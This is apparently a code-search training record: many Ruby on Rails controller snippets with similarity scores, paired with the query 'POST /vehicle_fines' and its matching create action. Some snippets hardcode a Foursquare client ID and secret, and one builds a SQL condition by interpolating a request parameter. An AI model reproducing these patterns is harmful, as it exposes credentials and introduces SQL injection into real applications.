"def index\n @vehicle_realtimes = VehicleRealtime.all\n \n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtimes.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end",
"def index\n add_breadcrumb \"all\", nil, \"glyphicon-list\"\n\n #@vehicles = Vehicle.all\n @vehicles = current_user.account.vehicles || []\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end",
"def vehicle\n fetch('final_space.vehicles')\n end",
"def index\n @vehicles = Vehicle.all\n end",
"def show\n render json: @used_bike, serializer: Web::V1::UsedBikeSerializer\n end",
"def new\n @bus_route = BusRoute.new\n @break_points=BreakPoint.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bus_route }\n end\n end",
"def show\n @vehicle = Vehicle.find(params[:id])\n\n end",
"def venue(id)\n options = { :venue_id => id }\n get('/venue_info', options)\n end",
"def show\n render json: @bike #serializer: Web::V1::BikeSerializer\n end",
"def new\n #@getinvoicedatum = Getinvoicedatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @getinvoicedatum }\n end\n end",
"def index\n @vehicle_informations = VehicleInformation.all\n end",
"def get_economy_with_http_info(vin, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VINDecoderApi.get_economy ...'\n end\n # verify the required parameter 'vin' is set\n if @api_client.config.client_side_validation && vin.nil?\n fail ArgumentError, \"Missing the required parameter 'vin' when calling VINDecoderApi.get_economy\"\n end\n # resource path\n local_var_path = '/economy'\n\n # query parameters\n query_params = {}\n query_params[:'vin'] = vin\n query_params[:'api_key'] = opts[:'api_key'] if !opts[:'api_key'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Economy')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VINDecoderApi#get_economy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\r\n @venue = Venue.fetch(params[:id])\r\n render json: @venue\r\n end",
"def show\n @venue = Venue.find(params[:id])\n\n render json: @venue\n end",
"def full(vin)\n find(vin).to_json\n end",
"def get_models_for_make_id\n render json: vehicle_service.get_models_for_make_id(params[:make_id])\n end",
"def index\n @vehicle_types = VehicleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_types }\n end\n end",
"def show\n @beacon = Beacon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @beacon }\n end\n end",
"def show\n @getinvoicedatum = Getinvoicedatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @getinvoicedatum }\n end\n end",
"def show\n\n\n # respond_to do |format|\n # format.html # show.html.erb\n # format.json { render json: @venue }\n # end\n end",
"def venue_show\n client = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK',:api_version => '20140201')\n #@restroom = Restroom.find(params[:id])\n @venue = Venue.find_by_venue_id(params[:venue_id])\n @review = Review.new\n #@pics = client.venue_photos(params[:venue_id], options = {:group => 'venue'})\n @review.venue_id = @venue.id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restroom }\n end\n end",
"def show\n\n\t\t@ride ||= Ride.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: { ride: @ride.as_json }, :methods => :nearby }\n end\n end",
"def index\n results = []\n if params[:bbox]\n results = VAFacility.query(bbox: params[:bbox], type: params[:type], services: params[:services])\n end\n resource = Common::Collection.new(::VAFacility, data: results)\n resource = resource.paginate(pagination_params)\n render json: resource.data,\n serializer: CollectionSerializer,\n each_serializer: VAFacilitySerializer,\n meta: resource.metadata\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue }\n end\n end",
"def show\n @vegetable = Vegetable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vegetable }\n end\n end",
"def index\n event_id = current_event.id\n event_id = params[:event_id] if params.has_key?(:event_id)\n @vehicle_classes = VehicleClass.all(:conditions => \"event_id = #{event_id}\", :order => \"max_speed ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_classes }\n end\n end",
"def show\n respond_to do |format|\n format.json { render :show, status: :ok, location: @api_v1_contract }\n end\n end",
"def index\n @clients = Client.all\n @invoices = Invoice.search(params[:search])\n @Invoices = Invoice.order(:name)\n @invoices = @invoices.page(params[:page] || 1)\n @invoicelines = Invoiceline.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @clients.map(&:name) }\n @invoicelines = Invoiceline.all\n\n\n end\nend",
"def get\n appid = ENV['TRIMET_APP_ID']\n response = Unirest.get( \"http://developer.trimet.org/ws/v2/vehicles?appid=#{appid}\" )\n response.body\nend",
"def show\n begin\n @vehicle = Vehicle.find_by_id(params[:id])\n rescue ActiveRecord::RecordNotFound\n render_404\n end\n end",
"def show\n\n @Cliente = Client.where(bill_id: params[:id])\n @Cliente.each do |mitad|\n mitad.ISV = mitad.ISV.round(2)\n mitad.Total = mitad.Total.round(2)\n end\n# @Cliente = Client.find_by_sql(['SELECT * FROM clients WHERE bill_id = ?',:id])\n render json: @Cliente\n end",
"def index\n @businesses = Business.all.offset(offset).limit(limit)\n render json: @businesses\n end",
"def show\n @client = Client.find(params[:id])\n @contracts = Contract.where(:client_id => @client.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @client }\n end\n end",
"def show\n @vet = Vet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vet }\n end\n end",
"def vehicle\n vehicles.first\n end",
"def index\n \tif\n params[:search].present?\n client = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK', :api_version => '20140201')\n \n #results = client.search_venues(:ll => '40.0462925,-82.91250359', :query => params[:search])\n results = client.search_venues(:near => params[:location], :query => params[:search])\n\t\n @venues = results.venues\n\n @venues.each do |venue|\n Venue.where({\n name: venue.name,\n address: venue.location.address,\n venue_id: venue.id,\n city: venue.location.city,\n state: venue.location.state,\n lat: venue.location.lat,\n long: venue.location.lng,\n }).first_or_create\n end\n\n else\n\tclient = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK',:api_version => '20140201')\n \n results = client.search_venues(:ll => '40.0462925,-82.91250359', :query => params[:search])\n @venues = results.venues\n\n\nend\n\n\n #else\n # @restrooms = Restroom.all\n # end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @restrooms }\n end\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def basic(vin)\n response = find(vin)\n data = {\n year: response['years'][0]['year'],\n make: response['make']['name'],\n model: response['model']['name'],\n }\n\n data.to_json\n end",
"def create\n @vehicle_fine = VehicleFine.new(vehicle_fine_params)\n respond_to do |format|\n if @vehicle_fine.save\n format.html { redirect_to @vehicle_fine, notice: 'Vehicle fine was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle_fine }\n else\n format.html { render :new }\n format.json { render json: @vehicle_fine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def show\n @fueltype = Fueltype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fueltype }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vehicle_type }\n end\n end",
"def show\n @basin = Basin.find(params[:id])\n\n @client = YahooWeather::Client.new \n @response = @client.fetch_by_location('Massingir, Gaza, Mz','c')\n @reponse2 = @client.fetch_by_location('Louis Trichardt, Limpopo, South Africa','c')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @basin }\n\n end\n end",
"def show\n @finance_inflow = FinanceInflow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finance_inflow }\n end\n end",
"def show\n @vaccine = Vaccine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vaccine }\n end\n end",
"def show\n\n @venue = Venue.find(params[:id])\n render :json => @venue, \n :methods => [:average_rating,:user_count],\n :include => [:venue_photos,:parties]\n end",
"def index\n @videoconferencias = Videoconferencium.all\n render json: @videoconferencias\n end",
"def show\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue }\n end\n end",
"def new\n @schedule = Schedule.new\n @client_branches = ClientBranch.where(:client_id => 0)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @schedule }\n end\n end",
"def show\n @getoff_infos = GetoffInfo.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @getoff_info }\n end\n \n end",
"def new\n @bet = Bet.new(:odd_inflation => 10, :bid_amount => 1)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bet }\n end\n end",
"def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def show\n @verbo = Verbo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verbo }\n end\n end",
"def get_non_bajaj_vehicles\n @bikes = Bike.where(non_bajaj: true).order(\"display_order\")\n \n render json: @bikes\n end",
"def new\n @vegetable = Vegetable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vegetable }\n end\n end",
"def new\n @ball_flight_item = BallFlightItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ball_flight_item }\n end\n end",
"def index\n @vehicle_costs = VehicleCost.all\n end",
"def new\n @vaccine = Vaccine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vaccine }\n end\n end",
"def index\n @curriculum_vitaes = findable_curriculum_vitaes.all\n respond_to do |format|\n format.html {}\n format.json { render json: @curriculum_vitaes }\n end\n end",
"def flights\n trip = Trip.where('id = ?', params[:id]).take\n if !trip.nil\n respond_with( trip.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end",
"def show\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @venue }\n end\n end",
"def new\n @closeinf = Closeinf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @closeinf }\n end\n end",
"def show\n @business = Business.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @business }\n end\n end",
"def show\n @business = Business.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @business }\n end\n end",
"def show\n @business = Business.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @business }\n end\n end",
"def show\n @self_drive_price = SelfDrivePrice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @self_drive_price }\n end\n end",
"def show\n @betraege = Betraege.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @betraege }\n end\n end",
"def show\n @contract = Contract.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contract }\n end\n end",
"def show\n @venue = Venue.find(params[:id])\n puts \"venue_id \"\n puts params[:id]\n @venue.clicks += 1\n @venue.save\n @jsonOccs = []\n @jsonRecs = []\n @occurrences = @venue.events.collect { |event| event.occurrences.select { |occ| occ.start >= DateTime.now } }.flatten.sort_by { |occ| occ.start }\n @occurrences.each do |occ|\n # check if occurrence is instance of a recurrence\n if occ.recurrence_id.nil?\n @jsonOccs << occ\n else\n if @jsonRecs.index(occ.recurrence).nil?\n @jsonRecs << occ.recurrence\n end\n end\n end\n puts \"jsonrecs:\"\n pp @jsonRecs\n\n respond_to do |format|\n format.json { render json: { :occurrences => @jsonOccs.to_json(:include => :event), :recurrences => @jsonRecs.to_json(:include => :event), :venue => @venue.to_json } } \n end\n end",
"def show\n @sub_vehicle = SubVehicle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sub_vehicle }\n end\n end",
"def show\n @ball_flight_item = BallFlightItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ball_flight_item }\n end\n end",
"def arrivals_and_departures_for_stop(stop)\n @client = OneBusAway::Client.new(\n api_method: ['arrivals-and-departures-for-stop', \"1_#{stop}\"]\n )\n call_api\n end",
"def show\n @revenue = Revenue.find(params[:id])\n\n render json: @revenue\n end"
] |
[
"0.71918774",
"0.65815866",
"0.6152531",
"0.6055051",
"0.6003735",
"0.59761447",
"0.5952298",
"0.5931807",
"0.58920354",
"0.5856093",
"0.5841494",
"0.5796567",
"0.57765126",
"0.57586837",
"0.57129014",
"0.5696446",
"0.56385165",
"0.5605099",
"0.56039953",
"0.55951726",
"0.55934936",
"0.5592228",
"0.5557812",
"0.5554219",
"0.5535718",
"0.5528271",
"0.5525849",
"0.55170876",
"0.5514008",
"0.5503133",
"0.5499071",
"0.5497424",
"0.5495586",
"0.5494115",
"0.5491959",
"0.54853696",
"0.5483971",
"0.5474149",
"0.5472144",
"0.5470601",
"0.5449996",
"0.5443038",
"0.54396814",
"0.54330105",
"0.54288846",
"0.54145014",
"0.5414193",
"0.54074496",
"0.54026634",
"0.53988636",
"0.53957224",
"0.53949946",
"0.53875786",
"0.5386332",
"0.5381514",
"0.5378731",
"0.53753346",
"0.53718853",
"0.5370201",
"0.5368788",
"0.53587276",
"0.53587276",
"0.53587276",
"0.53575563",
"0.53416723",
"0.5336451",
"0.5336451",
"0.5329585",
"0.5326802",
"0.5325582",
"0.5323138",
"0.53229815",
"0.53219265",
"0.5319595",
"0.53174764",
"0.5316623",
"0.53160894",
"0.53148884",
"0.53040326",
"0.5296107",
"0.52943224",
"0.5293268",
"0.5289261",
"0.52890617",
"0.52830446",
"0.527954",
"0.52793646",
"0.52767974",
"0.5272079",
"0.5267273",
"0.525734",
"0.525734",
"0.525734",
"0.5256766",
"0.5256476",
"0.5252557",
"0.52509505",
"0.5246416",
"0.52462065",
"0.5245295",
"0.5245031"
] |
0.0
|
-1
|
POST /vehicle_fines POST /vehicle_fines.json
|
def create
@vehicle_fine = VehicleFine.new(vehicle_fine_params)
respond_to do |format|
if @vehicle_fine.save
format.html { redirect_to @vehicle_fine, notice: 'Vehicle fine was successfully created.' }
format.json { render :show, status: :created, location: @vehicle_fine }
else
format.html { render :new }
format.json { render json: @vehicle_fine.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ajax_fines\n @fines = params['fines']&.values.to_a\n render json: { record: render_to_string('_fines', layout: false), locals: { fines: @fines } }\n end",
"def vehicle_fine_params\n params.require(:vehicle_fine).permit(:vehicle_id, :fine_id)\n end",
"def index\n @vehicle_fines = VehicleFine.all\n end",
"def set_vehicle_fine\n @vehicle_fine = VehicleFine.find(params[:id])\n end",
"def create\n @vehicle = Vehicle.new(vehicle_params)\n if @vehicle.save\n render json: { status: 'Vehicle created successfully', vehicle: @vehicle }, status: :created\n else\n render json: { errors: @vehicle.errors.full_messages }, status: :bad_request\n end\n end",
"def new\n @vehicle_fine_type = VehicleFineType.new\n end",
"def create\n if vehicle_params[:actual_vehicle] === \"true\"\n @vehicles = Vehicle.where(user_id: vehicle_params[:user_id])\n if !@vehicles.nil?\n @vehicles.each do |v|\n v.update(actual_vehicle: \"false\")\n end\n end\n end\n @vehicle = Vehicle.new(vehicle_params)\n\n respond_to do |format|\n if @vehicle.save\n format.html { redirect_to \"/vehicles\", notice: 'El vehículo fue añadido!' }\n format.json { render :index, status: :created, location: @vehicle }\n else\n format.html { render :index}\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def fuel_params\n params.require(:fuel).permit(:date, :in, :out, :notes, :price)\n end",
"def index\n @vehicle_fine_types = VehicleFineType.all\n\t @vehicle_fine_type = VehicleFineType.new\n end",
"def create\n # get the foursquare venue id\n fsvid = params[:itinerary][:venue_id]\n\n foursquare_connect\n \n # get the venue's information from foursquare\n response = @client.venues.find(fsvid)\n \n # prep the data for being sent to google\n street_address = response.location.address.gsub(' ', '+')\n city = response.location.city.gsub(' ', '+')\n state = response.location.state.gsub(' ', '+')\n \n # get a response from google\n unformatted_response = Net::HTTP.get_response(\"maps.googleapis.com\", \"/maps/api/geocode/json?address=#{street_address},+#{city},+#{state}&sensor=false\")\n # convert the response to JSON\n info = ActiveSupport::JSON.decode(unformatted_response.body)\n \n if info['status'] == \"OK\" # pull data only if the data is there to be pulled\n latitude = info.results[0].geometry.location.lat\n longitude = info.results[0].geometry.location.lng\n end\n \n # try to find if this venue exists\n venue = Venue.where(:fsvid => fsvid)\n unless venue.exists? # skip if venue already exists\n # create a new venue with many null values\n newvenue = Venue.create(:fsvid => fsvid, :latitude => latitude, :longitude => longitude)\n if newvenue.save # successfully saved\n venue = Venue.where(:fsvid => fsvid)\n else # there was an error\n respond_to do |format|\n format.html { render :action => \"new\" }\n end\n end\n end\n \n # set the itinerarie's venue_id to either the venue that was found with the appropriate\n # foursquare venue_id or the newly created one -- overwrite the fsvid value\n \n params[:itinerary][:venue_id] = venue[0].id \n params[:itinerary][:start_date] = DateTime.strptime(params[:itinerary][:start_date], \"%Y-%m-%d %H:%M:%S\")\n \n # finally create the itinerary\n @itinerary = current_user.itineraries.create(params[:itinerary])\n\n respond_to do |format|\n if @itinerary.save\n @itinerary.plans[0].update_attribute(:parent_id, current_user.id)\n format.html { redirect_to(new_itinerary_invite_path(@itinerary), :notice => 'Itinerary was successfully created.') }\n format.xml { render :xml => new_itinerary_invite_path(@itinerary), :status => :created, :location => @itinerary }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @itinerary.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @bike = Bike.new(bike_params)\n @bike.compare_vehicles = params[:bike][:compare_vehicles]\n\n if @bike.save\n audit(@bike, current_user)\n render json: @bike, status: :created #serializer: Web::V1::BikeSerializer\n else\n render json: @bike.errors, status: :unprocessable_entity\n end\n end",
"def create\n @fine = Fine.new(fine_params.merge(:amount => 5, :date => Time.now, :status => \"Pending\"))\n # raise fine_params.to_yaml\n\n if @fine.save\n redirect_to fines_url\n else\n render action: 'new'\n end\n end",
"def create\n \n if(!params[\"venue\"].blank?)\n Venue.save_multiple_venues(@curr_user,params[\"venue\"])\n @status=true\n else\n @status=false\n end\n respond_to do |format|\n if @status\n format.html { redirect_to :action=>:index }\n format.json { render :json => @venues, :status => :created, :location => @venues }\n else\n flash[:error] = 'Please select atleast one checkbox to create venue'\n format.html { redirect_to :action => \"search\"}\n end \n end\n end",
"def create\n\n @vehicel = @user.vehicels.create(vehicel_params)\n respond_to do |format|\n if @vehicel.save\n format.html { redirect_to user_vehicels_path(@user, @vehicel) }\n format.json { render :show, status: :created, location: @vehicel }\n else\n format.html { render :new }\n format.json { render json: @vehicel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def venue_params\n params.require(:venue).permit(:name, :venue_type, :email, :foursquare_id, beer_ids: [])\n end",
"def create\n @vehicle = current_user.vehicles.new(vehicle_params)\n respond_to do |format|\n if @vehicle.save\n format.html { redirect_to @vehicle, notice: 'El vehículo ha sido creado exitosamente.' }\n format.json { render :show, status: :created, location: @vehicle }\n else\n format.html { render :new }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @inven = Inven.new(inven_params)\n\n respond_to do |format|\n if @inven.save\n format.html { redirect_to @inven, notice: 'Inven was successfully created.' }\n format.json { render :show, status: :created, location: @inven }\n else\n format.html { render :new }\n format.json { render json: @inven.errors, status: :unprocessable_entity }\n end\n end\n end",
"def fine_params\n params.require(:fine).permit(:date, :description, :status, :amount, :offender_id, :proposer_id)\n end",
"def create\n @vehicle = Vehicle.new(vehicle_params)\n\n respond_to do |format|\n if @vehicle.save\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle }\n else\n format.html { render :new }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle = Vehicle.new(vehicle_params)\n\n respond_to do |format|\n if @vehicle.save\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle }\n else\n format.html { render :new }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vehicle = Vehicle.new(vehicle_params)\n\n respond_to do |format|\n if @vehicle.save\n format.html { redirect_to @vehicle, notice: 'Vehicle was successfully created.' }\n format.json { render :show, status: :created, location: @vehicle }\n else\n format.html { render :new }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_vehicles vehicle\n self.create_vehicle(:four_wheeler => vehicle[:four_wheeler],:two_wheeler => vehicle[:two_wheeler],:none => vehicle[:none])\n end",
"def vehicle_params\n params.require(:vehicle).permit(:name, \n :model_year, \n :make, \n :model, \n :trim_level, \n :body_style, \n :engine_type, \n :milage, \n :vin, \n :notes,\n :image, \n :bought_date, \n :bought_milage, \n :bought_price)\n end",
"def new\n @vehicle = Vehicle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vehicle }\n end\n end",
"def create\n @financiamento = Financiamento.new(financiamento_params)\n cliente = Cliente.find(@financiamento.cliente_id)\n imovel = Imovel.find(@financiamento.imovel_id)\n if(cliente.idade < 18 or cliente.idade >= 65)\n @financiamento.status = \"NEGADO\"\n @financiamento.meses = nil\n elsif(cliente.renda < 500.00 or cliente.renda > 3499.99)\n @financiamento.status = \"NEGADO\"\n @financiamento.meses = nil\n elsif(imovel.valor > 180000.00)\n @financiamento.status = \"NEGADO\"\n @financiamento.meses = nil\n else\n @financiamento.entrada = (cliente.renda * 5).round(2)\n if(cliente.idade >= 18 and cliente.idade < 26) \n percentual_idade = 0.03\n elsif(cliente.idade >= 26 and cliente.idade < 35)\n percentual_idade = 0.025\n else\n percentual_idade = 0.02\n end\n if(cliente.renda >= 500.00 and cliente.renda < 1500.00) \n percentual_renda = 0.03\n @financiamento.juros = 0.02\n elsif(cliente.renda >= 1500.00 and cliente.renda < 2500.00)\n percentual_renda = 0.025\n @financiamento.juros = 0.015\n else\n percentual_renda = 0.015\n @financiamento.juros = 0.01\n end\n @financiamento.subsidio = ((percentual_renda + percentual_idade)* imovel.valor).round(2)\n @financiamento.parcela = (((imovel.valor - @financiamento.subsidio - @financiamento.subsidio) *\n (1 + @financiamento.juros**(Integer(@financiamento.meses/12))))/@financiamento.meses).round(2)\n if(@financiamento.parcela > (cliente.renda/2))\n @financiamento.status = \"INVIAVEL\"\n else\n @financiamento.status = \"SIMULACAO\"\n end\n @financiamento.save\n end\n\n respond_to do |format|\n if @financiamento.save\n format.html { redirect_to @financiamento, notice: 'Financiamento was successfully created.' }\n format.json { render :show, status: :created, location: @financiamento }\n else\n format.html { render :new }\n format.json { render json: @financiamento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n user_from_api_key = User.find_by(api_key: request.headers[:apiKey])\n return render json: {rides: [], message: \"Access denied\"}, status: :unauthorized if user_from_api_key.nil?\n\n departure_place = params[:departure_place]\n departure_threshold = params[:departure_place_threshold].to_i\n destination = params[:destination]\n destination_threshold = params[:destination_threshold].to_i\n if params.has_key?(:departure_time)\n departure_time = Time.zone.parse(params[:departure_time])\n end\n user = User.find_by(api_key: request.headers[:apiKey])\n ride_type = params[:ride_type].to_i\n\n if user.nil?\n return render json: {:message => \"User not found\"}, status: :not_found\n else\n # add this search to table ride_searches which is displayed as a timeline\n user.ride_searches.create!(departure_place: departure_place, destination: destination,\n departure_time: departure_time, ride_type: ride_type)\n end\n\n rides = Ride.rides_nearby departure_place, departure_threshold, destination,\n destination_threshold, departure_time, ride_type\n\n\n if rides.count > 0\n render json: {:rides => rides, each_serializer: RideSerializer}, status: :ok\n else\n render json: {:rides => []}, status: :no_content\n end\n\n end",
"def create\n @venue = Venue.new(venue_params)\n @venue.blove_count = 0\n respond_to do |format|\n if @venue.save\n format.html { redirect_to @venue, notice: 'Venue was successfully created.' }\n format.json { render :show, status: :created, location: @venue }\n else\n format.html { render :new }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cuisine = Cuisine.new(spice_params)\n\n if @cuisine.save\n render json: @cuisine, status: :created\n else\n render json: @cuisine.errors, status: :unprocessable_entity\n end\n end",
"def food_trucks_within(bounding_box)\n @bounding_box = bounding_box\n\n response = self.class.get(\n ENV['DATA_SF_BASE_PATH'],\n query: query\n )\n return response if response.success?\n raise CustomErrors::Api::ThirdPartyApiError.new(message: 'An error occured with the DataSf API, please contact the service administrator or see the logs if you are the administrator.', code: 500, data: response)\n end",
"def create\n @bride = Bride.new(bride_params)\n\n respond_to do |format|\n if @bride.save\n format.html { redirect_to @bride, notice: 'Bride was successfully created.' }\n format.json { render :show, status: :created, location: @bride }\n else\n format.html { render :new }\n format.json { render json: @bride.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n origin = params[:fare][:origin]\n destination = params[:fare][:destination]\n\n \tuber = calculate_uber(origin, destination)\n lyft = calculate_lyft(origin, destination)\n\n if uber and lyft\n render json: [\n {\n company: 'uber', \n id: 1, \n price: uber, \n image: '/assets/uber.png'\n },\n {\n company: 'lyft',\n id: 2,\n price: lyft,\n image: '/assets/lyft.png'\n }], status: 200\n else\n render status: 500\n end\n\n end",
"def venue_params\n params.require(:venue).permit(:name, :date_type, :price_rating, :neighborhood, :address, :blove_count, :dinner, :drinks,\n :dessert, :coffee, :mood, :date_day, :user_fbAccessToken, :menu_link, :reservation_link,\n :polaroid_description, :monday_special, :tuesday_special, :wednesday_special, :thursday_special, \n :friday_special, :saturday_special, :sunday_special, :food_drink, :why_blove_heading_1, \n :why_blove_heading_2, :why_blove_heading_3, :why_blove_description_1, :why_blove_description_2,\n :why_blove_description_3, :price_for_two,:monday_hours, :tuesday_hours, :wednesday_hours, \n :thursday_hours, :friday_hours, :saturday_hours, :sunday_hours, :crowd, :dress_code, :parking, \n :reservations, :atmosphere, :keep_in_mind,\n :polaroid_image, :thumbnail_image, :venue_image_1, :venue_image_2, :venue_image_3, :venue_image_4, :venue_image_5)\n end",
"def create\n @breakdown = Breakdown.new(params.require(:breakdown).permit(:bdate, :description, :vehicle_id))\n\n respond_to do |format|\n if @breakdown.save\n format.html { redirect_to breakdowns_url,\n notice: 'Breakdown was successfully created.' }\n format.json { render json: @breakdown, status: :created, location: @breakdown }\n else\n prepFormVariables\n format.html { render action: \"new\" }\n format.json { render json: @breakdown.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vehicle_fine.update(vehicle_fine_params)\n format.html { redirect_to @vehicle_fine, notice: 'Vehicle fine was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_fine }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_fine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def venue_params\n params.require(:venue).permit(:name, :address, :postcode, :latitude, :longitude, :web, :telephone, :email)\n end",
"def create\n @stolen_vehicle = StolenVehicle.new(stolen_vehicle_params)\n\n respond_to do |format|\n if @stolen_vehicle.save\n format.html { redirect_to @stolen_vehicle, notice: 'Stolen vehicle was successfully created.' }\n format.json { render :show, status: :created, location: @stolen_vehicle }\n else\n format.html { render :new }\n format.json { render json: @stolen_vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vehicle_fine_type\n @vehicle_fine_type = VehicleFineType.find(params[:id])\n end",
"def post(cnpj, branch, contractId, body)\n self.class.post(\"/aldebaran-carriers/carriers/#{cnpj}/contracts/#{branch}/#{contractId}/regions\", :basic_auth => @auth, :body => body.to_json)\n end",
"def create\n @venue = Venue.new(venue_params)\n\n if @venue.save\n render json: @venue, status: :created, location: @venue\n else\n render json: {errors: @venue.errors}, status: :unprocessable_entity\n end\n end",
"def vehicle_params\n params.require(:vehicle).permit(:veh_reg_no, :category, :name, :desc, :photo, :daily_rate, :color => [], :features => [])\n end",
"def create\n @betraege = Betraege.new(params[:betraege])\n\n respond_to do |format|\n if @betraege.save\n format.html { redirect_to @betraege, :notice => 'Betraege was successfully created.' }\n format.json { render :json => @betraege, :status => :created, :location => @betraege }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @betraege.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def vehcule_params\n params.require(:vehcule).permit(:mark, :vehicule, :year, :description, :sold)\n end",
